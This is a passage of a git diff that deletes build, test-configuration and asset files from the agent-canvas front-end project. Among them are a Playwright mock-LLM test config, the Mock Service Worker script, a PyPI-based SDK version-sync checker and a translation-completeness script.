defaults to "python3" but CI can -// point this at a venv (e.g. ".mock-llm-venv/bin/python3") to avoid -// PEP 668 "externally managed" errors on Ubuntu 24.04+. -const MOCK_LLM_PYTHON = process.env.MOCK_LLM_PYTHON ?? "python3"; - -// Export for the test helpers — BACKEND_URL points to the ingress (API -// calls are proxied to the agent-server, so no direct backend port needed). -process.env.MOCK_LLM_BACKEND_URL = `http://localhost:${INGRESS_PORT}`; -process.env.MOCK_LLM_PORT = MOCK_LLM_PORT; -process.env.MOCK_LLM_PUBLIC_MODE_URL = `http://localhost:${PUBLIC_MODE_PORT}`; - -function shellQuote(value: string) { - return `'${value.replaceAll("'", "'\\''")}'`; -} - -function envAssignment(name: string, value: string) { - return `${name}=${shellQuote(value)}`; -} - -export default defineConfig({ - testDir: "./tests/e2e/mock-llm", - testMatch: /.*\.spec\.ts/, - fullyParallel: false, - forbidOnly: !!process.env.CI, - retries: 0, - workers: 1, - timeout: 60_000, - globalTimeout: process.env.CI ? 600_000 : 0, // 10 min hard cap in CI - reporter: [ - ["line"], - ["json", { outputFile: "test-results-mock-llm/results.json" }], - ["html", { outputFolder: "playwright-report-mock-llm", open: "never" }], - ["./tests/e2e/mock-llm/reporters/done-marker-reporter.ts"], - ], - outputDir: "test-results-mock-llm", - use: { - baseURL: INGRESS_URL, - screenshot: "only-on-failure", - trace: "on-first-retry", - video: "on", - }, - projects: [ - { - name: "chromium", - use: { ...devices["Desktop Chrome"] }, - }, - ], - webServer: [ - // 1. Mock LLM server (Python) - { - command: `${MOCK_LLM_PYTHON} tests/e2e/mock-llm/scripts/mock-llm-server.py --port ${MOCK_LLM_PORT}`, - url: MOCK_LLM_URL, - timeout: 30_000, - reuseExistingServer: !process.env.CI, - stdout: "pipe", - stderr: "pipe", - }, - // 2. Full agent-canvas stack via bin/agent-canvas.mjs - // - // This mirrors the production `npx @openhands/agent-canvas` path: - // - Pre-built static frontend served via static-server.mjs - // - Agent-server via uvx - // - Automation backend via uvx - // - Ingress proxy unifying all routes on a single port - // - // `exec` replaces the shell so Playwright's tracked PID IS the node - // process. SIGTERM goes directly to the shutdown handler, which - // kills children via process groups and exits cleanly. - { - command: - // Clean state dir and automation DB dir to avoid stale data between runs. - // Automation DB is stored outside STATE_DIR (at AUTOMATION_DB_DIR) so both - // must be cleaned; see scripts/dev-with-automation.mjs startAutomationBackend. - `node -e "const fs=require('node:fs'); fs.rmSync('${STATE_DIR}',{recursive:true,force:true}); fs.rmSync('${AUTOMATION_DB_DIR}',{recursive:true,force:true});" && ` + - // Build frontend if not already built (CI should pre-build for caching) - "[ -f build/index.html ] || npm run build:app && " + - [ - "exec env", - envAssignment("OH_CANVAS_SAFE_STATE_DIR", STATE_DIR), - envAssignment("PORT", INGRESS_PORT), - envAssignment("LOCAL_BACKEND_API_KEY", sessionApiKey), - "VITE_DO_NOT_TRACK=1", - "VITE_ENABLE_BROWSER_TOOLS=false", - // Bypass npm — exec directly into node so SIGTERM reaches - // the shutdown handler (npm swallows it). - "node --env-file-if-exists=.env bin/agent-canvas.mjs", - ].join(" "), - // Probe the automation list endpoint through the ingress to ensure - // the FULL stack (agent-server + automation backend + ingress) is - // up before tests start. The automation backend starts last via - // uvx and can take 30-60s — checking only the ingress root or - // /server_info would let tests begin before it's ready. - // GET /api/automation/v1 returns 200 (empty list) without auth - // because the dev automation backend does not enforce session-key - // auth on the list endpoint (confirmed in CI). - url: `http://localhost:${INGRESS_PORT}/api/automation/v1`, - timeout: 180_000, // allow extra time for build + agent-server + automation startup - reuseExistingServer: !process.env.CI, - }, - // 3. Public-mode static server — same build/, same backend, but with - // --auth-required (no session key injected). The agent-server's - // internal ports are the defaults from config/defaults.json (18000 - // for agent-server, 18001 for automation). - { - command: [ - "exec node scripts/static-server.mjs", - "--dir build", - `--port ${PUBLIC_MODE_PORT}`, - "--auth-required", - "--route /api/automation=http://localhost:18001", - "--route /api=http://localhost:18000", - "--route /server_info=http://localhost:18000", - "--route /sockets=http://localhost:18000", - ].join(" "), - url: `http://localhost:${PUBLIC_MODE_PORT}/`, - timeout: 15_000, - reuseExistingServer: !process.env.CI, - }, - ], -}); diff --git a/public/android-chrome-192x192.png b/public/android-chrome-192x192.png deleted file mode 100644 index 31d5801ad..000000000 Binary files a/public/android-chrome-192x192.png and /dev/null differ diff --git a/public/android-chrome-512x512.png b/public/android-chrome-512x512.png deleted file mode 100644 index 57e1544c5..000000000 Binary files a/public/android-chrome-512x512.png and /dev/null differ diff --git a/public/apple-touch-icon.png b/public/apple-touch-icon.png deleted file mode 100644 index 31d5801ad..000000000 Binary files a/public/apple-touch-icon.png and /dev/null differ diff --git a/public/browserconfig.xml b/public/browserconfig.xml deleted file mode 100644 index b3930d0f0..000000000 --- a/public/browserconfig.xml +++ /dev/null @@ -1,9 +0,0 @@ - - - - - - #da532c - - - diff --git a/public/favicon-16x16.png b/public/favicon-16x16.png deleted file mode 100644 index 4f230c598..000000000 Binary files a/public/favicon-16x16.png and /dev/null differ diff --git a/public/favicon-32x32.png b/public/favicon-32x32.png deleted file mode 100644 index 1f874a817..000000000 Binary files a/public/favicon-32x32.png and /dev/null differ diff --git a/public/favicon.ico b/public/favicon.ico deleted file mode 100644 index 409515edf..000000000 Binary files a/public/favicon.ico and /dev/null differ diff --git a/public/favicon.svg b/public/favicon.svg deleted file mode 100644 index 4877e59fd..000000000 --- a/public/favicon.svg +++ /dev/null @@ -1 +0,0 @@ - diff --git a/public/mockServiceWorker.js b/public/mockServiceWorker.js deleted file mode 100644 index a1e52b477..000000000 --- a/public/mockServiceWorker.js +++ /dev/null @@ -1,349 +0,0 @@ -/* eslint-disable */ -/* tslint:disable */ - -/** - * Mock Service Worker. - * @see https://github.com/mswjs/msw - * - Please do NOT modify this file. - */ - -const PACKAGE_VERSION = '2.14.2' -const INTEGRITY_CHECKSUM = '4db4a41e972cec1b64cc569c66952d82' -const IS_MOCKED_RESPONSE = Symbol('isMockedResponse') -const activeClientIds = new Set() - -addEventListener('install', function () { - self.skipWaiting() -}) - -addEventListener('activate', function (event) { - event.waitUntil(self.clients.claim()) -}) - -addEventListener('message', async function (event) { - const clientId = Reflect.get(event.source || {}, 'id') - - if (!clientId || !self.clients) { - return - } - - const client = await self.clients.get(clientId) - - if (!client) { - return - } - - const allClients = await self.clients.matchAll({ - type: 'window', - }) - - switch (event.data) { - case 'KEEPALIVE_REQUEST': { - sendToClient(client, { - type: 'KEEPALIVE_RESPONSE', - }) - break - } - - case 'INTEGRITY_CHECK_REQUEST': { - sendToClient(client, { - type: 'INTEGRITY_CHECK_RESPONSE', - payload: { - packageVersion: PACKAGE_VERSION, - checksum: INTEGRITY_CHECKSUM, - }, - }) - break - } - - case 'MOCK_ACTIVATE': { - activeClientIds.add(clientId) - - sendToClient(client, { - type: 'MOCKING_ENABLED', - payload: { - client: { - id: client.id, - frameType: client.frameType, - }, - }, - }) - break - } - - case 'CLIENT_CLOSED': { - activeClientIds.delete(clientId) - - const remainingClients = allClients.filter((client) => { - return client.id !== clientId - }) - - // Unregister itself when there are no more clients - if (remainingClients.length === 0) { - self.registration.unregister() - } - - break - } - } -}) - -addEventListener('fetch', function (event) { - const requestInterceptedAt = Date.now() - - // Bypass navigation requests. - if (event.request.mode === 'navigate') { - return - } - - // Opening the DevTools triggers the "only-if-cached" request - // that cannot be handled by the worker. Bypass such requests. - if ( - event.request.cache === 'only-if-cached' && - event.request.mode !== 'same-origin' - ) { - return - } - - // Bypass all requests when there are no active clients. - // Prevents the self-unregistered worked from handling requests - // after it's been terminated (still remains active until the next reload). - if (activeClientIds.size === 0) { - return - } - - const requestId = crypto.randomUUID() - event.respondWith(handleRequest(event, requestId, requestInterceptedAt)) -}) - -/** - * @param {FetchEvent} event - * @param {string} requestId - * @param {number} requestInterceptedAt - */ -async function handleRequest(event, requestId, requestInterceptedAt) { - const client = await resolveMainClient(event) - const requestCloneForEvents = event.request.clone() - const response = await getResponse( - event, - client, - requestId, - requestInterceptedAt, - ) - - // Send back the response clone for the "response:*" life-cycle events. - // Ensure MSW is active and ready to handle the message, otherwise - // this message will pend indefinitely. - if (client && activeClientIds.has(client.id)) { - const serializedRequest = await serializeRequest(requestCloneForEvents) - - // Clone the response so both the client and the library could consume it. - const responseClone = response.clone() - - sendToClient( - client, - { - type: 'RESPONSE', - payload: { - isMockedResponse: IS_MOCKED_RESPONSE in response, - request: { - id: requestId, - ...serializedRequest, - }, - response: { - type: responseClone.type, - status: responseClone.status, - statusText: responseClone.statusText, - headers: Object.fromEntries(responseClone.headers.entries()), - body: responseClone.body, - }, - }, - }, - responseClone.body ? [serializedRequest.body, responseClone.body] : [], - ) - } - - return response -} - -/** - * Resolve the main client for the given event. - * Client that issues a request doesn't necessarily equal the client - * that registered the worker. It's with the latter the worker should - * communicate with during the response resolving phase. - * @param {FetchEvent} event - * @returns {Promise} - */ -async function resolveMainClient(event) { - const client = await self.clients.get(event.clientId) - - if (activeClientIds.has(event.clientId)) { - return client - } - - if (client?.frameType === 'top-level') { - return client - } - - const allClients = await self.clients.matchAll({ - type: 'window', - }) - - return allClients - .filter((client) => { - // Get only those clients that are currently visible. - return client.visibilityState === 'visible' - }) - .find((client) => { - // Find the client ID that's recorded in the - // set of clients that have registered the worker. - return activeClientIds.has(client.id) - }) -} - -/** - * @param {FetchEvent} event - * @param {Client | undefined} client - * @param {string} requestId - * @param {number} requestInterceptedAt - * @returns {Promise} - */ -async function getResponse(event, client, requestId, requestInterceptedAt) { - // Clone the request because it might've been already used - // (i.e. its body has been read and sent to the client). - const requestClone = event.request.clone() - - function passthrough() { - // Cast the request headers to a new Headers instance - // so the headers can be manipulated with. - const headers = new Headers(requestClone.headers) - - // Remove the "accept" header value that marked this request as passthrough. - // This prevents request alteration and also keeps it compliant with the - // user-defined CORS policies. - const acceptHeader = headers.get('accept') - if (acceptHeader) { - const values = acceptHeader.split(',').map((value) => value.trim()) - const filteredValues = values.filter( - (value) => value !== 'msw/passthrough', - ) - - if (filteredValues.length > 0) { - headers.set('accept', filteredValues.join(', ')) - } else { - headers.delete('accept') - } - } - - return fetch(requestClone, { headers }) - } - - // Bypass mocking when the client is not active. - if (!client) { - return passthrough() - } - - // Bypass initial page load requests (i.e. static assets). - // The absence of the immediate/parent client in the map of the active clients - // means that MSW hasn't dispatched the "MOCK_ACTIVATE" event yet - // and is not ready to handle requests. - if (!activeClientIds.has(client.id)) { - return passthrough() - } - - // Notify the client that a request has been intercepted. - const serializedRequest = await serializeRequest(event.request) - const clientMessage = await sendToClient( - client, - { - type: 'REQUEST', - payload: { - id: requestId, - interceptedAt: requestInterceptedAt, - ...serializedRequest, - }, - }, - [serializedRequest.body], - ) - - switch (clientMessage.type) { - case 'MOCK_RESPONSE': { - return respondWithMock(clientMessage.data) - } - - case 'PASSTHROUGH': { - return passthrough() - } - } - - return passthrough() -} - -/** - * @param {Client} client - * @param {any} message - * @param {Array} transferrables - * @returns {Promise} - */ -function sendToClient(client, message, transferrables = []) { - return new Promise((resolve, reject) => { - const channel = new MessageChannel() - - channel.port1.onmessage = (event) => { - if (event.data && event.data.error) { - return reject(event.data.error) - } - - resolve(event.data) - } - - client.postMessage(message, [ - channel.port2, - ...transferrables.filter(Boolean), - ]) - }) -} - -/** - * @param {Response} response - * @returns {Response} - */ -function respondWithMock(response) { - // Setting response status code to 0 is a no-op. - // However, when responding with a "Response.error()", the produced Response - // instance will have status code set to 0. Since it's not possible to create - // a Response instance with status code 0, handle that use-case separately. - if (response.status === 0) { - return Response.error() - } - - const mockedResponse = new Response(response.body, response) - - Reflect.defineProperty(mockedResponse, IS_MOCKED_RESPONSE, { - value: true, - enumerable: true, - }) - - return mockedResponse -} - -/** - * @param {Request} request - */ -async function serializeRequest(request) { - return { - url: request.url, - mode: request.mode, - method: request.method, - headers: Object.fromEntries(request.headers.entries()), - cache: request.cache, - credentials: request.credentials, - destination: request.destination, - integrity: request.integrity, - redirect: request.redirect, - referrer: request.referrer, - referrerPolicy: request.referrerPolicy, - body: await request.arrayBuffer(), - keepalive: request.keepalive, - } -} diff --git a/public/mstile-150x150.png b/public/mstile-150x150.png deleted file mode 100644 index bdf3ed471..000000000 Binary files a/public/mstile-150x150.png and /dev/null differ diff --git a/public/robots.txt b/public/robots.txt deleted file mode 100644 index e9e57dc4d..000000000 --- a/public/robots.txt +++ /dev/null @@ -1,3 +0,0 @@ -# https://www.robotstxt.org/robotstxt.html -User-agent: * -Disallow: diff --git a/public/safari-pinned-tab.svg b/public/safari-pinned-tab.svg deleted file mode 100644 index daa0090f0..000000000 --- a/public/safari-pinned-tab.svg +++ /dev/null @@ -1,7 +0,0 @@ - - - - - - - diff --git a/public/site.webmanifest b/public/site.webmanifest deleted file mode 100644 index b20abb7cb..000000000 --- a/public/site.webmanifest +++ /dev/null @@ -1,19 +0,0 @@ -{ - "name": "", - "short_name": "", - "icons": [ - { - "src": "/android-chrome-192x192.png", - "sizes": "192x192", - "type": "image/png" - }, - { - "src": "/android-chrome-512x512.png", - "sizes": "512x512", - "type": "image/png" - } - ], - "theme_color": "#ffffff", - "background_color": "#ffffff", - "display": "standalone" -} diff --git a/react-router.config.ts b/react-router.config.ts deleted file mode 100644 index ecf0e6a5c..000000000 --- a/react-router.config.ts +++ /dev/null @@ -1,94 +0,0 @@ -import type { Config } from "@react-router/dev/config"; -import { vercelPreset } from "@vercel/react-router/vite"; - -const normalizeBasePath = (value?: string) => { - const raw = value?.trim(); - if (!raw || raw === "/") return undefined; - - const withLeadingSlash = raw.startsWith("/") ? raw : `/${raw}`; - return withLeadingSlash.replace(/\/+$/, ""); -}; - -const basename = normalizeBasePath(process.env.VITE_BASE_PATH); - -/** - * This script is used to unpack the client directory from the frontend build directory. - * Remix SPA mode builds the client directory into the build directory. This function - * moves the contents of the client directory to the build directory and then removes the - * client directory. - * - * This script is used in the buildEnd function of the Vite config. - */ -let unpackClientDirectoryPromise: Promise | null = null; - -const moveBuildEntry = async ( - fs: typeof import("fs"), - source: string, - destination: string, -) => { - await fs.promises.rm(destination, { recursive: true, force: true }); - - try { - await fs.promises.rename(source, destination); - } catch (error) { - const code = (error as NodeJS.ErrnoException).code; - if (code !== "EPERM" && code !== "EXDEV") { - throw error; - } - - await fs.promises.cp(source, destination, { - recursive: true, - force: true, - }); - await fs.promises.rm(source, { recursive: true, force: true }); - } -}; - -const unpackClientDirectoryOnce = async () => { - if (process.env.VERCEL) { - // Vercel's React Router builder reads static assets from build/client. - return; - } - - const fs = await import("fs"); - const path = await import("path"); - - const buildDir = path.resolve(__dirname, "build"); - const clientDir = path.resolve(buildDir, "client"); - - let files: string[]; - try { - files = await fs.promises.readdir(clientDir); - } catch (error) { - if ((error as NodeJS.ErrnoException).code === "ENOENT") { - return; - } - throw error; - } - - for (const file of files) { - await moveBuildEntry( - fs, - path.resolve(clientDir, file), - path.resolve(buildDir, file), - ); - } - - await fs.promises.rm(clientDir, { recursive: true, force: true }); -}; - -const unpackClientDirectory = async () => { - unpackClientDirectoryPromise ??= unpackClientDirectoryOnce().finally(() => { - unpackClientDirectoryPromise = null; - }); - - await unpackClientDirectoryPromise; -}; - -export default { - appDirectory: "src", - ...(basename ? { basename } : {}), - buildEnd: unpackClientDirectory, - presets: [vercelPreset()], - ssr: false, -} satisfies Config; diff --git a/release-please-config.json b/release-please-config.json deleted file mode 100644 index 35c8d00ea..000000000 --- a/release-please-config.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "$schema": "https://raw.githubusercontent.com/googleapis/release-please/main/schemas/config.json", - "include-component-in-tag": false, - "include-v-in-tag": true, - "draft-pull-request": true, - "last-release-sha": "10ce762e920f70e121314c45ae2a65ecd569d0ce", - "packages": { - ".": { - "release-type": "node", - "changelog-type": "github", - "skip-changelog": true, - "extra-files": [ - { - "type": "json", - "path": "config/defaults.json", - "jsonpath": "$.versions.agentCanvas" - }, - { - "_comment": "Must stay `generic` (annotation-driven). A bare \"helm/agent-canvas/Chart.yaml\" string would resolve to CompositeUpdater(GenericYaml('$.version'), Generic), which overwrites the chart-level `version` and strips every comment in the file when js-yaml re-serializes it.", - "type": "generic", - "path": "helm/agent-canvas/Chart.yaml" - }, - "README.md", - "README.windows.md" - ] - } - } -} diff --git a/scripts/check-sdk-version-sync.mjs b/scripts/check-sdk-version-sync.mjs deleted file mode 100644 index 51f51fa9b..000000000 --- a/scripts/check-sdk-version-sync.mjs +++ /dev/null @@ -1,429 +0,0 @@ -#!/usr/bin/env node - -/** - * Check SDK Version Sync - * - * Verifies that the released automation package (openhands-automation on PyPI) - * uses the SDK version expected for that automation release for all agent SDK libraries: - * - openhands-sdk - * - openhands-tools - * - openhands-workspace - * - openhands-agent-server - * - * This script checks the RELEASED PyPI version of openhands-automation (as specified - * by versions.automation in config/defaults.json), not the main branch. - * The expected SDK dependency version is versions.agentServer — the two must - * always match, so this script catches any drift. - * - * This script is run in CI to catch version drift between projects. - * - * Usage: - * node scripts/check-sdk-version-sync.mjs - * EXPECTED_SDK_VERSION=1.37.0 node scripts/check-sdk-version-sync.mjs - * node scripts/check-sdk-version-sync.mjs --check-pypi - * - * Environment variables: - * EXPECTED_SDK_VERSION - Override the expected version (instead of reading from config/defaults.json) - * AUTOMATION_PACKAGE_NAME - Override the automation package name (default: openhands-automation) - * AUTOMATION_PACKAGE_VERSION - Override the automation package version (instead of reading from config/defaults.json) - * - * Options: - * --check-pypi Also check the latest SDK version on PyPI - * --help Show help - * - * Exit codes: - * 0 - All SDK versions match - * 1 - Version mismatch detected or error occurred - */ - -import { readFileSync } from "node:fs"; -import { dirname, join } from "node:path"; -import { fileURLToPath } from "node:url"; -import process from "node:process"; - -const __dirname = dirname(fileURLToPath(import.meta.url)); -const projectRoot = join(__dirname, ".."); - -// Parse command line arguments -const args = process.argv.slice(2); -const checkPyPI = args.includes("--check-pypi"); -const showHelp = args.includes("--help") || args.includes("-h"); - -if (showHelp) { - console.log(` -SDK Version Sync Check - -Verifies that the released openhands-automation package on PyPI uses the -SDK version expected for that automation release. - -The automation version is read from config/defaults.json (versions.automation). -The expected SDK dependency version is read from versions.agentServer. - -Usage: - node scripts/check-sdk-version-sync.mjs [options] - -Options: - --check-pypi Also check the latest SDK version on PyPI - --help, -h Show this help - -Environment variables: - EXPECTED_SDK_VERSION Override the expected SDK version (instead of reading from config/defaults.json) - AUTOMATION_PACKAGE_NAME Override the automation package name (default: openhands-automation) - AUTOMATION_PACKAGE_VERSION Override the automation package version (instead of reading from config/defaults.json) - -Triggering from other repos: - The automation repo or SDK repo can trigger this check via GitHub repository_dispatch: - - curl -X POST \\ - -H "Authorization: token \$GITHUB_TOKEN" \\ - -H "Accept: application/vnd.github.v3+json" \\ - https://api.github.com/repos/OpenHands/agent-canvas/dispatches \\ - -d '{"event_type": "sdk-version-check", "client_payload": {"version": "1.37.0"}}' -`); - process.exit(0); -} - -// ANSI color codes for terminal output -const colors = { - reset: "\x1b[0m", - red: "\x1b[31m", - green: "\x1b[32m", - yellow: "\x1b[33m", - cyan: "\x1b[36m", - dim: "\x1b[2m", -}; - -// SDK packages that must have matching versions -const SDK_PACKAGES = [ - "openhands-sdk", - "openhands-tools", - "openhands-workspace", - "openhands-agent-server", -]; - -// Configurable automation package (can be overridden via env) -const AUTOMATION_PACKAGE_NAME = process.env.AUTOMATION_PACKAGE_NAME || "openhands-automation"; - -// Default retry configuration -const RETRY_COUNT = 3; -const RETRY_DELAY_MS = 1000; - -/** - * Normalize a version string for comparison. - * Handles variations like "1.22" vs "1.22.0" by ensuring consistent format. - */ -function normalizeVersion(version) { - if (!version) return null; - - // Remove any pre-release or build metadata for base comparison - const baseVersion = version.split(/[-+]/)[0]; - - // Split into parts and pad to 3 parts (major.minor.patch) - const parts = baseVersion.split(".").map((p) => parseInt(p, 10) || 0); - while (parts.length < 3) { - parts.push(0); - } - - return parts.slice(0, 3).join("."); -} - -/** - * Compare two versions for equality (handles semantic equivalence) - */ -function versionsEqual(v1, v2) { - return normalizeVersion(v1) === normalizeVersion(v2); -} - -/** - * Sleep for a given number of milliseconds - */ -function sleep(ms) { - return new Promise((resolve) => setTimeout(resolve, ms)); -} - -// ── Centralized config ────────────────────────────────────────────────────── -let SHARED_DEFAULTS; -try { - SHARED_DEFAULTS = JSON.parse( - readFileSync(join(projectRoot, "config", "defaults.json"), "utf-8"), - ); - if (!SHARED_DEFAULTS.versions?.agentServer) { - throw new Error("missing required field: versions.agentServer"); - } -} catch (err) { - console.error(`${colors.red}Failed to load config/defaults.json: ${err.message}${colors.reset}`); - console.error("Ensure the file exists and contains valid JSON with required fields."); - process.exit(1); -} - -/** - * Read the expected automation SDK dependency version from environment - * or config/defaults.json. - */ -function getExpectedVersion() { - // Allow override via environment variable (useful for CI triggers). - const envVersion = process.env.EXPECTED_SDK_VERSION; - if (envVersion && envVersion.trim()) { - return { version: envVersion.trim(), source: "EXPECTED_SDK_VERSION env var" }; - } - - return { - version: SHARED_DEFAULTS.versions.agentServer, - source: "config/defaults.json (versions.agentServer)", - }; -} - -/** - * Fetch the latest version of a package from PyPI - */ -async function fetchPyPIVersion(packageName) { - const url = `https://pypi.org/pypi/${packageName}/json`; - try { - const response = await fetch(url); - if (!response.ok) { - return null; - } - const data = await response.json(); - return data.info?.version || null; - } catch { - return null; - } -} - -/** - * Read the automation version from env var or config/defaults.json - */ -function getAutomationVersion() { - // Allow override via environment variable - const envVersion = process.env.AUTOMATION_PACKAGE_VERSION; - if (envVersion && envVersion.trim()) { - return { version: envVersion.trim(), source: "AUTOMATION_PACKAGE_VERSION env var" }; - } - - return { - version: SHARED_DEFAULTS.versions.automation, - source: "config/defaults.json (versions.automation)", - }; -} - -/** - * Fetch package metadata from PyPI and extract dependencies (with retry) - */ -async function fetchPyPIDependencies(packageName, version) { - const url = `https://pypi.org/pypi/${packageName}/${version}/json`; - - console.log(`${colors.dim}Fetching ${url}${colors.reset}`); - - let lastError; - for (let attempt = 0; attempt < RETRY_COUNT; attempt++) { - try { - const response = await fetch(url); - - // 404 is a config issue, don't retry - if (response.status === 404) { - throw new Error( - `Package ${packageName}==${version} not found on PyPI (404). Check the package name and version.`, - ); - } - - if (!response.ok) { - throw new Error( - `Failed to fetch ${packageName}==${version} from PyPI: ${response.status} ${response.statusText}`, - ); - } - - const data = await response.json(); - return data.info?.requires_dist || []; - } catch (err) { - lastError = err; - - // Don't retry on 404 (config issue) - if (err.message.includes("not found on PyPI (404)")) { - throw err; - } - - // Retry on other errors (network issues, 5xx, etc.) - if (attempt < RETRY_COUNT - 1) { - const delay = RETRY_DELAY_MS * (attempt + 1); - console.log( - `${colors.yellow}Retry ${attempt + 1}/${RETRY_COUNT - 1} after ${delay}ms...${colors.reset}`, - ); - await sleep(delay); - } - } - } - - throw lastError; -} - -/** - * Parse PyPI requires_dist array and extract SDK package versions - * - * PyPI returns dependencies in PEP 508 format like: - * "openhands-sdk>=1.37.0,<2.0.0" - * "openhands-tools==1.37.0" - * "openhands-workspace (>=1.37.0)" - */ -function parseSdkVersionsFromRequiresDist(requiresDist) { - const versions = {}; - - for (const pkg of SDK_PACKAGES) { - for (const dep of requiresDist) { - // Check if the dependency starts with our package name - // The package name may be followed by whitespace, operators, or parentheses - if (!dep.toLowerCase().startsWith(pkg.toLowerCase())) { - continue; - } - - // Extract the version number - look for patterns like: - // ">=1.37.0", "==1.37.0", "(>=1.37.0)", "~=1.37.0" - // After the package name and before any comma or closing paren - const versionPattern = /[><=~!]+\s*([0-9]+(?:\.[0-9]+)*)/; - const match = dep.match(versionPattern); - if (match) { - versions[pkg] = match[1]; - break; - } - } - } - - return versions; -} - -/** - * Main entry point - */ -async function main() { - console.log(""); - console.log( - `${colors.cyan}SDK Version Sync Check${colors.reset}`, - ); - console.log("─".repeat(50)); - console.log(""); - - try { - // Get expected version from env var or config/defaults.json - const { version: expectedVersion, source: versionSource } = getExpectedVersion(); - console.log( - `Expected automation SDK version: ${colors.green}${expectedVersion}${colors.reset} (from ${versionSource})`, - ); - - // Get automation version from env var or config/defaults.json - const { version: automationVersion, source: automationSource } = getAutomationVersion(); - console.log( - `Automation package: ${colors.cyan}${AUTOMATION_PACKAGE_NAME}==${automationVersion}${colors.reset} (from ${automationSource})`, - ); - - // Optionally check PyPI for the latest SDK version - if (checkPyPI) { - console.log(""); - console.log("Checking latest SDK versions on PyPI:"); - for (const pkg of SDK_PACKAGES) { - const pypiVersion = await fetchPyPIVersion(pkg); - if (pypiVersion) { - const status = versionsEqual(pypiVersion, expectedVersion) - ? colors.green - : colors.yellow; - console.log(` ${pkg.padEnd(25)} ${status}${pypiVersion}${colors.reset}`); - } else { - console.log(` ${pkg.padEnd(25)} ${colors.dim}(not found on PyPI)${colors.reset}`); - } - } - } - - console.log(""); - - // Fetch automation package dependencies from PyPI - const requiresDist = await fetchPyPIDependencies(AUTOMATION_PACKAGE_NAME, automationVersion); - const automationVersions = parseSdkVersionsFromRequiresDist(requiresDist); - - // Check each SDK package - let hasErrors = false; - let foundAny = false; - const mismatches = []; - - console.log(`Checking ${AUTOMATION_PACKAGE_NAME}==${automationVersion} SDK dependencies:`); - console.log(""); - - for (const pkg of SDK_PACKAGES) { - const actualVersion = automationVersions[pkg]; - - if (actualVersion) { - foundAny = true; - if (versionsEqual(actualVersion, expectedVersion)) { - console.log( - ` ${pkg.padEnd(25)} ${colors.green}✓ ${actualVersion}${colors.reset}`, - ); - } else { - hasErrors = true; - console.log( - ` ${pkg.padEnd(25)} ${colors.red}✗ ${actualVersion} (expected ${expectedVersion})${colors.reset}`, - ); - mismatches.push({ - package: pkg, - expected: expectedVersion, - actual: actualVersion, - }); - } - } else { - // Package not found - might be a transitive dependency, not an error - console.log( - ` ${pkg.padEnd(25)} ${colors.dim}- not a direct dependency${colors.reset}`, - ); - } - } - - console.log(""); - - if (!foundAny) { - console.log( - `${colors.yellow}Warning: No SDK packages found in ${AUTOMATION_PACKAGE_NAME}==${automationVersion} dependencies${colors.reset}`, - ); - console.log("This might indicate a parsing issue or the package is not yet published."); - console.log(""); - process.exit(1); - } - - if (hasErrors) { - console.log( - `${colors.red}Version mismatch detected!${colors.reset}`, - ); - console.log(""); - console.log(`The released ${AUTOMATION_PACKAGE_NAME}==${automationVersion} uses different SDK versions than expected for that automation release.`); - console.log(""); - console.log("Mismatched packages:"); - for (const m of mismatches) { - console.log(` - ${m.package}: ${m.actual} (expected ${m.expected})`); - } - console.log(""); - console.log("To fix, update one of the following:"); - console.log( - ` 1. Release a new version of ${AUTOMATION_PACKAGE_NAME} with SDK dependencies pinned to ${expectedVersion}`, - ); - console.log( - ` 2. Update versions.automation in config/defaults.json to a newer release`, - ); - console.log(""); - process.exit(1); - } - - console.log( - `${colors.green}All SDK versions are in sync!${colors.reset}`, - ); - console.log(""); - } catch (error) { - console.error(`${colors.red}Error: ${error.message}${colors.reset}`); - process.exit(1); - } -} - -// Export for testing -export { - normalizeVersion, - versionsEqual, - parseSdkVersionsFromRequiresDist, - SDK_PACKAGES, - AUTOMATION_PACKAGE_NAME, -}; - -main(); diff --git a/scripts/check-translation-completeness.cjs b/scripts/check-translation-completeness.cjs deleted file mode 100755 index c773d3eac..000000000 --- a/scripts/check-translation-completeness.cjs +++ /dev/null @@ -1,187 +0,0 @@ -#!/usr/bin/env node - -/** - * Pre-commit hook script to check for translation completeness - * This script ensures that all translation keys have entries for all supported languages - * and that values are actually translated rather than English copied to every language. - */ - -const fs = require('fs'); -const path = require('path'); - -// Keys whose value is intentionally identical in every language (brand names, -// protocol/technical terms, placeholder-only format strings). Add a key here -// only when the English value is genuinely correct for all languages. -const IDENTICAL_VALUE_ALLOWLIST = new Set([ - 'ACTION_MESSAGE$ACP_TOOL', - 'API$TAVILY_KEY_EXAMPLE', - 'API$TVLY_KEY_EXAMPLE', - 'AUTOMATIONS$DOWNLOAD_TARBALL', - 'BACKEND$CLOUD_TITLE', - 'BACKEND$VERSION_LABEL', - 'BRANDING$OPENHANDS', - 'COMMAND_MENU$SHORTCUT', - 'CONVERSATION$ACP_AGENT_GENERIC', - 'CONVERSATION$BUDGET_USAGE_FORMAT', - 'FILES$VSCODE', - 'GITHUB$AUTH_SCOPE', - 'LAUNCH$PLUGIN_PATH', - 'LAUNCH$PLUGIN_REF', - 'SCHEMA$LLM$SECTION_LABEL', - 'SCHEMA$LLM$TOP_K$LABEL', - 'SCHEMA$LLM$TOP_P$LABEL', - 'SCHEMA$SECURITY_ANALYZER$CHOICE$LLM', - 'SCHEMA$VERIFICATION$SECURITY_ANALYZER$CHOICE$LLM', - 'SETTINGS$AGENT_SERVER_URL_PLACEHOLDER', - 'SETTINGS$AGENT_TYPE_OPENHANDS', - 'SETTINGS$APP_UPDATE_CARD_TITLE', - 'SETTINGS$AZURE_DEVOPS', - 'SETTINGS$CLOUD_SETTINGS_LINK', - 'SETTINGS$GITHUB', - 'SETTINGS$GITLAB', - 'SETTINGS$MCP_AUTH_MODE_OAUTH', - 'SETTINGS$MCP_DEFAULT_CONFIG', - 'SETTINGS$MCP_HEADERS_PLACEHOLDER', - 'SETTINGS$MCP_OAUTH_CLIENT_ID_PLACEHOLDER', - 'SETTINGS$MCP_OAUTH_CLIENT_SECRET_PLACEHOLDER', - 'SETTINGS$MCP_OAUTH_SCOPES_PLACEHOLDER', - 'SETTINGS$MCP_SERVER_TYPE_SHTTP', - 'SETTINGS$MCP_SERVER_TYPE_SSE', - 'SETTINGS$MCP_SERVER_TYPE_STDIO', - 'SETTINGS$NAV_LLM', - 'SETTINGS$SKILLS_PILLS_MORE', - 'SETTINGS$SKILLS_VERSION', - 'SETTINGS$SLACK', - 'SETTINGS$TITLE_GENERATION_PROFILE_OPTION', - 'VSCODE$TITLE', - 'WORKSPACE$JUPYTER_TAB_LABEL', -]); - -// 